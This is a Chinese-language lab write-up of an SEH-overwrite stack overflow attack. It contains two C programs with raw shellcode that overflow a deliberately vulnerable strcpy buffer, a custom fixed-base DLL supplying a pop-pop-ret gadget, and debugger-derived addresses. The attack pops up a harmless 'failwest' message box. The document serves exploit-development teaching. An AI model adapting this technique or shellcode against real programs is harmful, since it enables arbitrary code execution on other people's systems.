环境:Microsoft Visual C++ 6.0,Windows 10,OllyDbg
实验原理:通过改变handler指向的位置,使其指向构造的确定基址的动态链接库,改变程序中的栈,最终栈返回到NS.E.H的位置,再改变NS.E.H中的内容,即构造指令使其指向shellcode,完成此次攻击。
代码1:(通过多次尝试,利用MyExcept函数确定NS.E.H的位置)
#include <windows.h>
#include <stdio.h>
extern "C" __declspec(dllimport) void jump();
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x65\x59\x3A\x29\x68\x49\x6c\x6f\x76\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x48\x10\x40\x00";
DWORD MyExcept(void)
{
printf("Got an exception,press any key to exit!\n");
MessageBox(NULL,"nihao","test",NULL);
getchar();
exit(1);
}
void test(char * input)
{
char buf[200];
int zero = 0;
strcpy(buf,input);
__try
{
zero=8/zero;//cout<<"Class Vtable::test()"<<endl;
}
__except(MyExcept()){}
jump();
}
void main(void)
{
test(shellcode);
}
代码2:(改变NS.E.H中的内容,通过构造指令使其跳转到shellcode)
#include <windows.h>
#include <stdio.h>
extern "C" __declspec(dllimport) void jump();
char shellcode1[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x65\x59\x3A\x29\x68\x49\x6c\x6f\x76\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x10\x90\x90"
"\x68\x10\x22\x11"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53"
"\x50\x50\x53\xB8\x40\x89\xB3\x76\xFF\xD0\x53\xB8\xE0\xAD\x00\x76"
"\xFF\xD0";
DWORD MyExcept(void)
{
LoadLibrary("user32.dll");
printf("Got an exception,press any key to exit!\n");
getchar();
exit(1);
}
void test(char * input)
{
char buf[200];
int zero = 0;
strcpy(buf,input);
__try
{
zero=8/zero;//cout<<"Class Vtable::test()"<<endl;
}
__except(MyExcept()){}
jump();
}
void main(void)
{
test(shellcode1);
}
构造的dll:
// dlltest.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
return TRUE;
}
extern "C" __declspec(dllexport) void jump()
{
__asm{
pop eax
pop eax
retn
}
}
说明:在VC中建立动态链接库的简单工程即可,建立好后会自动生成框架,只需加入上述代码中的jump函数即可,注意要配置该动态链接库的基址:0x11220000,见下图:
dll生成后将lib文件添加到后面的cpp文件同目录下,还需将生成dll文件复制到攻击代码的工程下。
首先在程序中引入shellcode,其作用是确定NS.E.H的位置,若控制台输出语句:“Got an exception,press any key to exit!”,则成功调用MyExcept函数(其地址为:0x00401048),此时可在shellcode的基础上改动NS.E.H指向的位置,使其指向dll文件中的三个语句(pop eax; pop eax; retn;),经过OllDbg调试得到其地址为:0x11221068,见下图。
执行完以上三个语句后,程序将返回到原来NS.E.H的位置:0x0019FED8,见下图:
通过EB 10将程序跳转了16个单元,运行到了之前构造的shellcode1部分,其中调用了messageboxA函数,弹出对话框:failwest。
本次实验通过实现构造确定基址的动态链接库,将其载入到程序中,首先通过改变handle指针的指向,使其指向构造的MyExcept函数,多次尝试确定NS.E.H的位置,之后在此基础上改动shellcode,使handle指针指向动态链接库的三个语句(pop eax; pop eax; retn;),从而改变程序中的栈,最后retn到原来NS.E.H的地址,此时的地址由另外构造的shellcode1将其改为EB 10,跳转到指定的位置,执行构造的代码,弹出对话框。
补充:确定NS.E.H的位置时判断的条件就是控制台是否打印出设计好的语句,见下图:
以上实现了在栈溢出中利用S.E.H链表进行攻击。